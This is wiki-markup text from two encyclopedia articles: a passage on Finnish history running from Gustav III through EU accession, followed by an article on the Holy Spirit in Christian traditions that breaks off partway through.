Both the ascending Russian Empire and pre-revolutionary France aspired to have Sweden as a client state. Parliamentarians and others with influence were susceptible to taking bribes which they made their best to push up. The integrity and the credibility of the political system waned, and in [[1771]] the young and charismatic king [[Gustav III]] staged a [[coup-d'état]], abolished [[parliamentarism]] and reinstated royal power in Sweden &amp;mdash; more or less with the support of the parliament. In [[1788]], he started a new war against [[Russia]]. Despite a couple of [[Battle of Svensksund|victorious battles]], the war was fruitless, managing only to bring disturbance to the economic life of Finland. The popularity of King Gustav III waned considerably. During the war, a group of officers made the famous [[Anjala conspiracy|Anjala declaration]] demanding peace negotiations and calling of ''Riksdag'' (Parliament). An interesting sideline of this process was the conspiracy of some Finnish officers, who attempted to create an independent Finnish state with Russian support. After an initial shock, Gustav III crushed this opposition. In [[1789]], the new constitution of Sweden strengthened the royal power further, as well as improving the status of the peasantry. However, the continuing war had to be finished without conquests - and many Swedes now considered the king as a tyrant. 

With the interruption of the war [[1788]]&amp;ndash;[[1790]], the last decades of the 18th century had been an era of development in Finland. Trade increased and the peasantry was growing more affluent and self-conscious. The [[Age of Reason]]'s climate of broadened debate in the society on issues of politics, religion and morals would in due time highlight the problem that the overwhelming majority of Finns spoke only [[Finnish language|Finnish]], but the cascade of newspapers, belles-lettres and political leaflets was almost exclusively in [[Swedish language|Swedish]] &amp;mdash; when not in [[French language|French]]. 

The two Russian occupations had been harsh and were not easily forgotten. These occupations were a seed of a feeling of separateness and otherness, that in a narrow circle of scholars and intellectuals at the university in [[Turku]] was forming a sense of a separate Finnish identity representing the eastern part of the realm. The shine of the Russian imperial capital [[Saint Petersburg]] was also much stronger in southern Finland than in other parts of Sweden, and contacts across the new border dispersed the worst fears for the fate of the educated and trading classes under a Russian régime. At the turn of the century, the Swedish speaking educated classes of officers, clerics and civil servants were mentally well prepared for a shift of allegiance to the strong [[Russian Empire]].

King Gustav III was assassinated in [[1792]], and his son [[Gustav IV Adolf]] assumed the crown after a period of [[Absolute Monarchy in Sweden#Reuterholm|regency]]. The new king was not a particularly talented ruler; at least not talented enough to steer his kingdom through the dangerous era of the [[French Revolution]] and [[Napoleonic wars]].

==Russian Grand Duchy==
{{main|Grand Duchy of Finland}}

During the [[Finnish War]] between Sweden and Russia, Finland was again conquered by the armies of Tsar [[Alexander I of Russia|Alexander I]]. The [[Riksdag of the Estates|four Estates]] of occupied Finland were assembled at the [[Diet of Finland|Diet of Porvoo]] on [[March 29]], [[1809]] to pledge allegiance to [[Alexander I of Russia]]. Following the Swedish defeat in the war and the signing of the [[Treaty of Fredrikshamn]] on [[September 17]], [[1809]], Finland remained an [[autonomous]] [[Grand Duchy]] in the [[Russian Empire]] until the end of [[1917]], with [[Finnish Karelia|Karelia]] handed back to Finland in [[1812]]. During the years of Russian rule the degree of autonomy varied. Periods of [[censorship]] and political prosecution occurred, particularly in the two last decades of Russian control, but the Finnish [[peasant]]ry remained free (unlike their Russian counterparts) as the old Swedish law remained effective (including the relevant parts from [[Gustav III]]'s [[ Constitution of 1772 (Finland)|Constitution of 1772]]). The old [[Riksdag of the Estates|four-chamber Diet]] was re-activated in the [[1860s]] agreeing to supplementary new legislation concerning internal affairs. [[Industrialisation]] begun during the [[19th century]] from [[forestry]] to industry, mining and machinery and laid the foundation of Finland's current day prosperity, even though agriculture employed a relatively large part of the population until the post-WWII era.

====Nationalism====
{{main|Finland's language strife}}

Particularly following Finland's incorporation into the Swedish central administration during the 16th and 17th centuries, [[Finland-Swedish|Swedish]] had been the dominant language in administration and education. Before that, in medieval semi-anarchy, [[German Language|German]], [[Latin]] and Swedish were important languages beside native-spoken [[Finnish language|Finnish]]. Finnish recovered its predominance after a 19th-century resurgence of Finnish [[Nationalism]], and Russian controllers working to separate Finns from Sweden and to ensure the Finns' loyalty.

The publication in [[1835]] of the Finnish [[national epic]], the [[Kalevala]], a collection of traditional [[Mythology|myth]]s and [[legend]]s which is the [[folklore]] of the [[Karelian people]] (the [[Finnic]] [[Russian Orthodox Church|Russian Orthodox]] people who inhabit the [[Lake Ladoga]]-region of eastern Finland and present-day NW Russia), first stirred the [[nationalism]] that later led to Finland's [[independence]] from Russia. The Finnish national awakening in the mid-nineteenth century was the result of members of the Swedish-speaking upper classes deliberately choosing to promote Finnish culture and language as a means of [[nation building]], i.e. to establish a feeling of unity between all people in Finland including (and not of least importance) between the ruling [[elite]] and the ruled peasantry.

In 1863, Finnish gained a position in administration, and [[1892]] Finnish finally became an equal [[official language]] and gained a status comparable to that of Swedish. Within a generation Finnish clearly dominated in government and society.

====Russification====
{{main|Russification of Finland}}

In [[1906]], as a means to improve Russo-Finnish relations, the old [[Riksdag of the Estates|four-chamber Diet]] was replaced by a [[unicameral]] [[Parliament]] ''(the &quot;[[Eduskunta]]&quot;),'' which was elected by universal suffrage, with Finnish women being the first in Europe to be given the vote.

==Independence and Civil War==
{{main articles|[[Finland's declaration of independence]], [[Finnish Civil War]]}}

In the aftermath of the [[February Revolution]] in Russia, Finland received a new [[Senate of Finland|Senate]], a coalition-Cabinet with the same power structure as the Finnish Parliament. Based on the [[general election]] in [[1916]], the [[Social democracy|Social Democrat]]s had a small majority, and the Social Democrat [[Oskari Tokoi]] became [[Prime Minister]]. The new Senate was willing to cooperate with the revolutionary government of Russia, but no agreement was reached. The Finns' view was basically that the [[personal union]] with Russia was finished after the [[Tsar]] was dethroned. They expected the Czar's authority to be transferred to Finland's Parliament, which the [[Russian Provisional Government, 1917|provisional government]] of Russia couldn't accept. For the Finnish Social Democrats it seemed as though the Russian [[Bourgeoisie]] was an obstacle on Finland's road to [[independence]] as well as on the [[Proletariat]]'s road to justice. The non-Socialists in Tokoi's Senate were however more confident. They, and most of the non-Socialists in the Parliament, rejected the Social Democrats' proposal on [[Parliamentarism]] (the so-called &quot;Power Act&quot;) as being too far-reaching and provocative. The act restricted Russia's influence on domestic Finnish matters, but didn't touch the Russian government's power on matters of defence and foreign affairs. For the Russian Provisional government this was however far too radical. As the Parliament had exceeded its authority, it was dissolved.

The minority of the Parliament, and of the Senate, were content. New elections promised a chance to gain majority, which they were convinced would improve the chances to reach an understanding with Russia. The non-Socialists were also inclined to cooperate with the Russian Provisional government because they feared the Socialists' power would grow, resulting in radical reforms, such as [[Suffrage|equal suffrage]] in municipal elections, or a [[land reform]]. The majority had, of course, the squarely opposite opinion. They didn't accept the Provisional government's right to dissolve the Parliament.

The Social Democrats held on to the Power Act and opposed the publication of the decree of dissolution of the Parliament, whereas the non-Socialists voted for publishing it. The disagreement over the Power Act led to the Social Democrats leaving the Senate. When the Parliament met again after the summer recess in August 1917, only the groups supporting the Power Act were present.  Russian troops took possession of the chamber, the Parliament was dissolved, and new elections were carried out. The result was a (small) bourgeois majority and a purely non-Socialist Senate. The abolishment of the Power Act, and the cooperation between Finnish bourgeois forces and oppressive Russia provoked great bitterness among the Socialists, and dozens of politically motivated [[terror]] [[assault]]s, including murders.

====Successful independence====
The [[Bolshevik Revolution]] turned Finnish politics upside down. Now the new non-Socialist majority of the Parliament felt a great urge for total independence, and the Socialists came gradually to view Russia as an example to follow. On [[November 15]], [[1917]], the [[Bolshevik]]s had declared a general right of [[self-determination]], including the right of complete [[secession]], [[Declaration of Rights of Peoples of Russia|&quot;for the Peoples of Russia&quot;]]. 

Worried by the development in Russia, and Finland, the non-Socialist Senate proposed for the parliament to [[Finland's declaration of independence|declare Finland's independence]], which was agreed on in the parliament on [[December 6]], [[1917]]. According to the Bolshevists' declared adherence to the principle of self-determination, Finland's independence could be expected to be accepted by Russia's revolutionary government, but almost a month passed before independence was acknowledged by Russia (on [[January 4]], [[1918]]). [[Germany]] and the [[Scandinavia]]n countries followed without delay.

In [[1918]], Finland experienced the brief but bitter [[Civil War of Finland]] that colored domestic politics and the [[foreign relations of Finland]] for many years. Finland's government defeated a socialist rebellion that had proclaimed the [[Finnish Socialist Workers' Republic]]. The defeat of the socialist rebellion was achieved with support from [[Imperial Germany]]; and only Germany's defeat in [[World War I]] saved Finland from becoming a German [[satellite state]]. The neighbor-country Sweden was in the midst of her own process of democratization, with socialists in government for the first time. For many decades, Finns on both sides remained bitter over Sweden's reluctance to become involved in the Civil War.

During the Civil War, the [[Treaty of Brest-Litovsk]] was signed between the [[Central Powers]] and [[Bolshevist Russia]], stating regarding Finland:
:''Germany and Austria-Hungary purpose to determine the future status of these territories in agreement with their population.'' 

:''Finland and the Åland Islands will immediately be cleared of Russian troops and the Russian Red Guard, and the Finnish ports of the Russian fleet and of the Russian naval forces. So long as the ice prevents the transfer of warships into Russian ports, only limited forces will remain on board the warships. Russia is to put an end to all agitation or propaganda against the Government or the public institutions of Finland.'' 

:''The fortresses built on the Åland Islands are to be removed as soon as possible. As regards the permanent non-fortification of these islands as well as their further treatment in respect to military technical navigation matters, a special agreement is to be concluded between Germany, Finland, Russia, and Sweden; there exists an understanding to the effect that, upon Germany's desire, still other countries bordering upon the Baltic Sea would be consulted in this matter.''

==Finland in the inter-war era==
Despite the Declaration of Independence calling Finland a Republic, initially Finland was to be a [[constitutional monarchy]]. [[Frederick Charles of Hesse]], a German prince, was elected King, putatively with the name [[Väinö I of Finland]], with [[Pehr Evind Svinhufvud]] and [[Carl Gustaf Emil Mannerheim|General Mannerheim]] serving as Regents. However, Germany's defeat in World War I meant that the idea was abandoned. Finland instead became a [[republic]], with [[Kaarlo Juho Ståhlberg]] elected as its first President in [[1919]].  

The new republic faced a dispute over the [[Åland]] Islands, which were overwhelmingly Swedish-speaking and sought retrocession to [[Sweden]]. However, as Finland was not willing to cede the islands, they were offered an autonomous status. Nevertheless, the residents did not approve the offer, and the dispute over the islands was submitted to the [[League of Nations]]. The League decided that Finland should retain sovereignty over the Åland Islands, but they should be made an autonomous province. Thus Finland was under an obligation to ensure the residents of the Åland Islands a right to maintain the [[Swedish language]], as well as their own culture and local traditions. At the same time, an international treaty was concluded on the neutral status of Åland, under which it was prohibited to place military headquarters or forces on the islands.

Directly after the Civil War there were many incidents along the border between Finland and Soviet Russia, such as the [[Aunus expedition]] and the [[Pork mutiny]]. Relations with the Soviets were improved after the [[Treaty of Tartu]] in [[1920]], in which Finland gained [[Petsamo]], but gave up claims on [[East Karelia]].

Nationalist sentiment remaining from the Civil War developed into the proto-Fascist [[Lapua Movement]] in 1929. Initially the movement gained widespread support among anti-Communist Finns, but following a failed [[Mäntsälä Rebellion|coup attempt]] in 1932 it was banned and its leaders imprisoned.

==Finland in World War II== 
{{main|[[Military history of Finland during World War II]]}}

During [[World War II]], Finland fought the [[Soviet Union]] twice: she defended herself against the Soviet Union in the [[Winter War]] of [[1939]]-[[1940]] (with limited but crucial [[Sweden and the Winter War|support from Sweden]]), resulting in the loss of [[Finnish Karelia]], and invaded the Soviet Union herself in the [[Continuation War]] of [[1941]]-[[1944]] (with considerable support from [[Nazi Germany]]), leading also to the loss of Finland's only ice-free winter harbour [[Petsamo]]. This was followed by the [[Lapland War]] of [[1944]]-[[1945]], when Finland fought against the Germans to force them to withdraw their forces from northern Finland.

Finland managed to maintain its independence and democratic constitution, contrary to most other countries proximate to the Soviet Union, but was punished far more than other German allies and [[co-belligerence|cobelligerents]], having to pay enormous [[war reparations|reparations]], resettle an eighth of its population, and lose an eighth of its territory, including its industrial heartland and the second city [[Vyborg]]/''Viipuri.'' After the war, the Soviet Union settled these gained territories with people from many different regions, for instance from [[Ukraine]].

[[Anti-communism|Anti-Communist]] sentiments had, following the [[Civil War in Finland|Civil War]], been even more pronounced in Finland than in most other [[West Europe]]an societies. The propaganda war between [[Bolshevist Russia]]/the [[Soviet Union]] and her western [[border states|border state]] neighbours had been harsh and intense. The Finns were also better informed of the [[Great Purge]] than more distant nations. Hence, at the eve of the World War, the Finns had very concrete fears for their survival as a people &amp;mdash; let alone as a [[nation state]]. The Finns perceived the defence against the Soviet Union as literally a fight of life or death &amp;mdash; and during the Winter War, this perception was also shared by the spectator nations in the West. The [[Continuation War]], however, was a Finnish invasion of the [[Soviet Union]], designed to recover lost territory and incorporate Russian [[Karelia]] into Finland, thus forming a [[Greater Finland]].

During and immediately after the wars, approximately 80,000 [[Finnish war-children|children were evacuated]] abroad. 5% went to [[Norway]], 10% to [[Denmark]], and the rest to Sweden. Most of them were sent back in 1948, but 15-20% remained abroad. In retrospect, the separation from their parents, siblings and language, and then later again a repeat of the separation, this time from their foster homes, has proved to be an often forgotten tragedy.

For information about [[Jew]]s in Finland during [[World War II|WWII]], see [http://www.uta.fi/~tuulikki.vuonokari/fin-1.html this link].

==Post-war era==
Finland retained a democratic constitution and free economic structure during the [[Cold War]] era. Treaties signed in [[1947]] and [[1948]] with the [[Soviet Union]] included obligations and restraints on Finland, as well as territorial concessions. Both treaties have been abrogated by Finland since the [[1991]] dissolution of the Soviet Union, while leaving the borders untouched. Even though being a neighbour to the mighty Soviet Union sometimes resulted in overmuch caution concerning [[Foreign relations of Finland|foreign politics]] (&quot;[[Finlandization]]&quot;), Finland developed closer cooperation with the other [[Nordic country|Nordic countries]] and declared her [[neutralist|neutrality]] in regard to superpower politics.

:''See also [[Agreement of Friendship, Cooperation, and Mutual Assistance]]''

In [[1952]], Finland and the countries of the [[Nordic Council]] entered into a passport union, allowing their citizens to cross borders without passports and soon also to apply for jobs and claim social security benefits in the other countries. Many from Finland used this opportunity to get better paid jobs in Sweden in the 1950s and 1960s, dominating Sweden's first wave of post-war labor immigration. Although Finnish wages or standard of living could not compete with wealthy Sweden until the 1980s, the Finnish economy rose remarkably well from the ashes of World War II, resulting in the buildup of another Nordic-style welfare state.

Despite the passport union with Sweden, Norway, Denmark and Iceland Finland could not join the [[Nordic Council]] until 1955 because of Soviet fears that Finland might become too closely related to the West. Back then the Soviet Union saw the [[Nordic Council]] as part of [[NATO]] with Denmark and Norway being members of it. 
During the same year Finland could join the [[United Nations]], though it had already been associated with a lot of the UN's suborganisations. The first Finnish ambassador to the UN was G.A. Gripenberg (1956-1959), followed by Ralph Enckell (1959-1965), Max Jakobson (1965-1972), Aarno Karhilo (1972-1977), Ilkka Pastinen (1977-1983), Keijo Korhonen (1983-1988), Klaus Törnudd (1988-1991), Wilhelm Breitenstein (1991-1998) and Marjatta Rasi (since 1998). Max Jakobson even was a candidate for [[Secretary-General]] of the UN in 1972.

In another remarkable event of 1955, the Soviet Union decided to return the [[Porkkala]] peninsula to Finland, which had been rented to the Soviet Union in 1948 for 50 years as a military base and was somewhat endangering the sovereignty and neutrality of Finland.

Finland became an associate member of the [[European Free Trade Association]] in [[1961]] and a full member in [[1986]]. A trade agreement with the [[EEC]] was complemented by another with the [[Eastern Bloc|Soviet Bloc]]. The first Conference for Security and Co-operation in Europe (CSCE), that started developments leading to [[Organization for Security and Co-operation in Europe|OSCE]], was held in Finland [[1972]]-[[1973]]. In Finland, CSCE was widely considered as a possible means of reducing the tensions of the Cold War, and a personal triumph for President [[Urho Kekkonen|Kekkonen]].

The post-war period was a time of rapid economic growth and increasing social and political stability for Finland. The five decades after the [[Second World War]] saw Finland turn from a war-ravaged agrarian society into one of the most technologically advanced countries in the world, with a sophisticated [[market economy]] and high standard of living.

==Recent history==
At the beginning of the 1990s the Finnish economy fell into severe [[depression (economics)|depression]]. The depression was caused by an overheated economy after [[liberalization]] in the 1980s, the disappearance of a major trade partner almost overnight when the [[Soviet Union]] dissolved and bad economic policy combined with an economic downturn in Western trade partners. The most severe consequence of depression was mass [[unemployment]] (17%). In the latter half of the 1990s the economy recovered strongly, led by the success of [[Nokia]] in the telecommunications market. However, unemployment has not yet recovered to its pre-depression level.

On [[January 1]], [[1995]], Finland joined the [[European Union]] along with [[Austria]] and [[Sweden]]. Before the parliamentary decision to join the EU, a [[referendum|consultative referendum]] was held on [[April 16]], [[1994]]. 56.9% of the votes were in favour of joining. Leading [[Finland]] into the EU is held as the main achievement of the [[Keskusta|Agrarian]]-[[Kokoomus|Conservative]] government of [[Esko Aho]] then in power.

==See also==
*[[History of Sweden]]
*[[History of Russia]]
*[[history of Europe]]
*[[History of the European Union]]
*[[History of present-day nations and states]]
*[[List of Finnish wars]]
*[[List of Finnish treaties]]

==External links==
*[http://sources.wikipedia.org/wiki/Wikisource:Historiallisia_dokumentteja Finnish historical documents at WikiSource] (In Finnish)
*[http://www.histdoc.net/history/history.html History of Finland: A selection of events and documents] by Pauli Kruhse
*[http://www.sls.fi/fmu/indexeng.htm Diplomatarium Fennicum] &amp;mdash; Publishing of medieval documents (the National Archives of Finland)
*[http://prokarelia.net/contract/?x=itsenaisyys ProKarelias collection of international treaties concerning independent Finland] (In Finnish)
*[http://home.student.uu.se/o/orma1967/Kartor/Finland/finland.htm Historical Atlas of Finland]

[[Category:History of Finland]]
[[Category:History of Europe|Finland]]
[[Category:Sweden-Finland]]

{{Link FA|cs}}

[[cs:Dějiny Finska]]
[[de:Geschichte Finnlands]]
[[fr:Histoire de la Finlande]]
[[ko:핀란드의 역사]]
[[it:Storia della Finlandia]]
[[lt:Suomijos istorija]]
[[ja:フィンランドの歴史]]
[[no:Finlands historie]]
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In various religions, most notably [[Trinitarianism|Trinitarian]] [[Christianity]], the '''Holy Spirit''' (also called the '''Holy Ghost'''; in [[Hebrew language|Hebrew]] רוח הקודש ''Ruah haqodesh'') is the third Person of the [[Holy Trinity]].  As such, the various Christian perspectives view him as God himself, a form of God, or a [[manifestation]] of God. The word &quot;Spirit&quot; commonly translates the [[Greek language|Greek]] [[New Testament]] word [[pneuma]] (Greek: ''πνεύμα'').

==The Holy Spirit in the Bible==
In mainstream [[Christianity]], the Holy Spirit is one person of the [[Trinity]], co-equal with the Father ([[God]]) and the Son ([[Jesus]]).

Christians believe it is the Holy Spirit who leads people to faith in Jesus and the one who gives them the ability to lead a Christian life. The Spirit dwells inside every true Christian, each one's body being His temple ([[First Epistle to the Corinthians]] 3:16). He is depicted as a 'Counsellor' or 'Helper' (''paracletus'' in [[Latin]], derived from [[Greek language|Greek]]), guiding them in the way of the truth. The Spirit's action in one's life is believed to produce positive results, known as the Fruit of the Spirit. The Spirit is also believed to give gifts (i.e. abilities) to Christians. These may include the [[charismatic]] gifts such as [[prophecy]], [[gift of tongues|tongues]], healing, and knowledge.  Christians holding a view  known as [[cessationism]] believe these gifts were given only in New Testament times. Christians almost universally agree that certain more mundane &quot;[[spiritual gifts]]&quot; are still in effect today, including the gifts of ministry, teaching, giving, leadership, and mercy (see, e.g. [[Epistle to the Romans|Romans]] 12:6-8).  In some sects of Christianity, the experience of the Holy Spirit is referred to as being &quot;anointed&quot;.  In the [[African American]] [[Gospel music]] tradition, the experience of the Holy Spirit is referred to as '[[Get Happy|getting happy]]'.

Christians believe that it is the Holy Spirit whom Jesus mentions as the promised &quot;Comforter&quot; (i.e. &quot;strengthener&quot;, &quot;fortifier&quot;) in [[Gospel of John|John]] 14:26.  After his [[Resurrection of Jesus|resurrection]], Christ told his disciples that they would be &quot;[[baptism|baptized]] with the Holy Ghost&quot;, and would receive power from this event ([[Acts of the Apostles|Acts]] 1:4-8); a promise that was fulfilled in the events recounted in the second chapter of Acts.  On the first [[Pentecost]], Jesus' disciples were gathered in [[Jerusalem]] when a mighty wind was heard and tongues of fire appeared over their heads.  A multilingual crowd heard the disciples speaking, and each of them heard them speaking in his or her native [[language]].  

In John's Gospel, emphasis is placed not upon what the Holy Spirit did for Jesus, but upon Jesus giving the Spirit to His disciples. This &quot;Higher&quot; [[Christology]], most influential in later development of Trinitarian doctrine, sees Jesus as a sacrificial lamb, and as coming among mankind in order to grant the Spirit of God to humanity.

Although the language used to describe Jesus' receiving the Spirit in John's Gospel is parallel to the accounts in the other three Gospels, John relates this with the aim of showing that Jesus is specially in possession of the Spirit for the purpose of granting the Spirit to His followers, uniting them with Himself, and in Himself also uniting them with the Father. (See Raymond Brown, &quot;The Gospel According to John&quot;, chapter on [[Pneumatology]]). In John, the gift of the Spirit is equivalent to eternal life, knowledge of God, power to obey, and communion with one another and with the Father.

==Christian views on the Holy Spirit==
===Pentecostalism===
The Christian movement called [[Pentecostalism]] derives its name from the event of Pentecost, the coming of the Holy Spirit when Jesus' disciples were gathered in [[Jerusalem]]. 

The Pentecostal movement places special emphasis on the work of the Holy Spirit, and especially on the gifts mentioned above, believing that they are still given today. Many Pentecostals believe in a 'Baptism of the Holy Spirit', in which the Spirit's power is received by the Christian in a new way. In this the Christian can now be used to do signs, miracles and wonders for the sake of evangelism.

Many Pentecostals also believe that a sure sign of this infilling (baptism) is the ability to speak in other tongues ([[glossalalia]]).

===Catholicism===

The [[Catechism of the Catholic Church]] states the following in the first paragraph dealing with the Apostles Creed's article ''I believe in the Holy Spirit.'' &quot;No one comprehends the thoughts of God except the Spirit of God.&quot; Now God's Spirit, who reveals God, makes known to us Christ, his Word, his living Utterance, but the Spirit does not speak of himself. The Spirit who &quot;has spoken through the prophets&quot; makes us hear the Father's Word, but we do not hear the Spirit himself. We know him only in the movement by which he reveals the Word to us and disposes us to welcome him in faith. The Spirit of truth who &quot;unveils&quot; Christ to us &quot;will not speak on his own.&quot; Such properly divine self-effacement explains why &quot;the world cannot receive [him], because it neither sees him nor knows him,&quot; while those who believe in Christ know the Spirit because he dwells with them.&quot;

As regards the Holy Spirit's relationship with the Church, the Catechism states: &quot;The mission of Christ and the Holy Spirit is brought to completion in the Church, which is the Body of Christ and the Temple of the Holy Spirit...Thus the Church's mission is not an addition to that of Christ and the Holy Spirit, but is its sacrament: in her whole being and in all her members, the Church is sent to announce, bear witness, make present, and spread the mystery of the communion of the Holy Trinity...Because the Holy Spirit is the anointing of Christ, it is Christ who, as the head of the Body, pours out the Spirit among his members to nourish, heal, and organize them in their mutual functions, to give them life, send them to bear witness, and associate them to his self-offering to the Father and to his intercession for the whole world. Through the Church's sacraments, Christ communicates his Holy and sanctifying Spirit to the members of his Body.&quot;

The Catechism also lists the various symbols of the Holy Spirit in the Bible:

*''Water'' - signifies the Holy Spirit's action in Baptism.  As &quot;by one Spirit we were all baptized,&quot; so we are also &quot;made to drink of one Spirit.&quot; (1 Cor 12:13) Thus the Spirit is also personally the living water welling up from Christ crucified (Jn 19:34; 1 Jn 5:8) as its source and welling up in us to eternal life. (Cf. Jn 4:10-14; 738; Ex 17:1-6; Isa 55:1; Zech 14:8; 1 Cor 10:4; Rev 21:6; 22:17)

*''Anointing'' - The symbolism of anointing with oil also signifies the Holy Spirit, to the point of becoming a synonym for the Holy Spirit. (Cf. 1 Jn 2:20:27; 2 Cor 1:21) In Christian initiation, anointing is the sacramental sign of Confirmation, called &quot;chrismation&quot; in the Churches of the East. Its full force can be grasped only in relation to the primary anointing accomplished by the Holy Spirit, that of Jesus. Christ (in Hebrew &quot;messiah&quot;) means the one &quot;anointed&quot; by God's Spirit. 

*''Fire'' -  symbolizes the transforming energy of the Holy Spirit's actions. In the form of tongues &quot;as of fire,&quot; the Holy Spirit rests on the disciples on the morning of Pentecost and fills them with himself.

*''Cloud and light'' - The Spirit comes upon the Virgin Mary and &quot;overshadows&quot; her, so that she might conceive and give birth to Jesus. On the mountain of Transfiguration, the Spirit in the &quot;cloud came and overshadowed&quot; Jesus, Moses and Elijah, Peter, James and John, and &quot;a voice came out of the cloud, saying, 'This is my Son, my Chosen; listen to him!'&quot; (Lk 9:34-35)

*''The seal'' is a symbol close to that of anointing. &quot;The Father has set his seal&quot; on Christ and also seals us in him. (Jn 6:27; cf. 2 Cor 1:22; Eph 1:13; 4:3) Because this seal indicates the indelible effect of the anointing with the Holy Spirit in the sacraments of Baptism, Confirmation, and Holy Orders, the image of the seal (sphragis) has been used in some theological traditions to express the indelible &quot;character&quot; imprinted by these three unrepeatable sacraments.

*''The hand''. It is by the Apostles' imposition of hands that the Holy Spirit is given. The Letter to the Hebrews lists the imposition of hands among the &quot;fundamental elements&quot; of its teaching. The Church has kept this sign of the all-powerful outpouring of the Holy Spirit in its sacramental epicleses.

*''The finger.'' &quot;It is by the finger of God that [Jesus] cast out demons.&quot; If God's law was written on tablets of stone &quot;by the finger of God,&quot; then the &quot;letter from Christ&quot; entrusted to the care of the apostles, is written &quot;with the Spirit of the living God, not on tablets of stone, but on tablets of human hearts.&quot; (Ex 31:18; 2 Cor 3:3)

*''The dove.''  When Christ comes up from the water of his baptism, the Holy Spirit, in the form of a dove, comes down upon him and remains with him.

===Orthodoxy===
[[Eastern Orthodoxy]] proclaims that the Father is the eternal source of the Godhead, from Whom is begotten the Son eternally and also from Whom the Holy Spirit proceeds eternally. Note that unlike the Catholic Church and western Christianity in general, the Orthodox Church does not espouse the use of the ''[[Filioque clause|Filioque]]'' in describing the procession of the Holy Spirit. The Holy Spirit is believed to eternally proceed from the Father, not from the Father ''and'' the Son. Orthodox doctrine regarding the Holy Trinity is summarized in the Symbol of Faith ([[Nicene-Constantinopolitan Creed]]).

===Dispensationalism===
According to [[dispensationalism]] (a pejorative term applied by many modernist groups within the boundaries of evangelical orthodoxy), we are now living in the Age of the Spirit, or church age. The [[Old Testament]] period, under this view, may be called the Age of the Father, or of the (Mosaic) law; the period covered by the Gospels, the Age of the Son; from Pentecost until the [[Second Coming|second advent of Christ]], the Age of the Spirit, or the church age (see also [[Joachim of Fiore]]).

The Mosaic law was still in effect up to the time when Jesus Christ (the second person of the Trinity) died on a Roman cross, was buried and rose from the dead (Corinthians 15: 1-5).  The church age was fully established at Pentecost where the disciples' were given the Holy Spirit, and sent out by Him to plant His church in the world. 

The church age is said to close with the [[second coming]] of Christ.

===Branch Davidian===
While most Christians think of the person of the Holy Spirit as being a He or It, [[Branch Davidian|Branch Davidian Seventh Day Adventists]], and others, believe that the Holy Spirit is a feminine Motherly Being, deriving this from the [[Hebrew language]], rather than  [[Greek language|Greek]] or [[Latin]]. They also believe that ancient (and modern) [[Goddess|Goddesses]], and the veneration of [[Mary, the mother of Jesus|Mary]] by [[Roman Catholic Church|Catholics]], are derived from this truth. They sometimes ascribe the name &quot;[[Sophia (gnosticism)|Sophia]]&quot; to the Holy Spirit. This view, however, is often disputed because the Bible is accepted as the Word of God and unchanging, infallible Truth, (to many Christians), and both the Old Testament and New Testament are important and true; the Old testament is, of course, translated from the Hebrew texts and in Hebrew the word for &quot;Goddess&quot; also means &quot;abomination,&quot; often in reference to Astarte. See &quot;Hebrew Pronunciation&quot; under &quot;Astarte&quot; here: [http://en.wikipedia.org/wiki/Astarte#.E2.80.98Ashtart_described_by_Sanchuniathon]

The late [[Lois Roden]], former president of the Branch organization, began teaching this aspect of the Spirit beginning in 1977. Thus Branch believers see a Family in heaven, whose family image is clearly seen on earth.

==&quot;Holy Spirit&quot; or &quot;Holy Ghost&quot;==
'''Holy Ghost''' was the common name for the Holy Spirit in [[English language|English]] prior to the 20th century. It is the name used in the [[Book of Common Prayer]] and the [[King James Version of the Bible]], and is still used by those who prefer more traditional language, or whose religious vocabulary is largely derived from the King James Version — including many [[Anglicans]], conservative [[Pentecostal]] groups, the [[Church of Jesus Christ of Latter-day Saints]], and various others. 

In [[1901]] the [[American Standard Version]] of the Bible translated the name as ''Holy Spirit'', as had the [[English Revised Version]] of 1881-1885 upon which it was based. Almost all modern English translations have followed suit, as the word ''[[ghost]]'' has lost its former meaning of the spirit or [[soul]] that is inside man, and has come to be identified almost exclusively with the concept of disembodied spirits, usually of the dead, which may &quot;haunt&quot; the living &amp;mdash; an idea far from that intended by the King James translators. Some languages still use a word that overlaps both English words, such as the [[German language|German]] ''Geist''.
[[Image:Stpetersbasilicaholyspiritwindow.jpg|thumb|left|The Holy Spirit depicted as a dove in the stained glass window behind the ''[[Cathedra|Cathedra Petri]] in [[St Peter's Basilica]], [[Rome]].]]

In the [[United Kingdom]], Religious Education teachers are told to avoid using &quot;Holy Ghost&quot; as it ''&quot;suggests a trivial and spooky element to the third part in the Trinity&quot;'' [http://education.guardian.co.uk/faithschools/story/0,13882,1457028,00.html].

==Gifts and fruits of the Holy Spirit==
Christians believe the &quot;Fruits of the Spirit&quot; are virtues engendered in an individual by the acceptance of the Spirit and His actions in one's life. They can be found in the [[New Testament]] (Gal 5:22 KJV): &quot;But the fruit of the Spirit is [[love]], [[joy]], [[peace]], [[patience]], [[kindness]], [[Goodness and value theory|goodness]], [[Trust|faithfulness]], [[Politeness|gentleness]], [and] [[Anger#Religious perspective on anger|self-control]].&quot; The Tradition of the [[Roman Catholic Church]], (''Catechism of the Catholic Church'', Section 1832), lists 12 Fruits of the Holy Spirit: &quot;charity, joy, peace, patience, kindness, goodness, generosity, gentleness, faithfulness, modesty, self-control, [and] chastity.&quot; Many Christians believe that these fruits of the Holy Spirit are enhanced over time by exposure to the [[written word of God]] and by the experience of leading a Christian life. They further believe that the Fruits of the Holy Spirit are products of the Gifts of the Holy Spirit: &quot;wisdom, understanding, counsel, fortitude, knowledge, piety, and fear of the Lord.&quot;

==The powers of the Holy Spirit==
Some Christians claim the ability to tap into powers from the Holy Spirit, while others claim to be expressly granted powers by the [[deity]]. Claims of divine inspiration stemming from the Holy Spirit have been occurring throughout the history of Christianity (see [[Montanism]]).  Many have claimed that the Holy Spirit has given them the power to:

*Cure diseases with prayer
*Speak a foreign language that he or she had not learned before
*Hear God speaking
*Expel evil spirits that are possessing a person
*Have a strong, personal connection to God
*Speak in a heavenly language unto God
*Prophesize
*Have visions

Some Christians, especially of [[Eastern Orthodoxy]], believe that early fathers were guided by the Holy Spirit, making their works and scriptures almost as canonical as the Testaments.

Numerous other supernatural happenings have been linked to the Holy Spirit, and it is often claimed that the power of the Holy Spirit is manifested more in some than it is in others.  The belief in powers stemming from the Holy Spirit is not totally unlike powers claimed to be granted by working with [[Qi|Chi]].

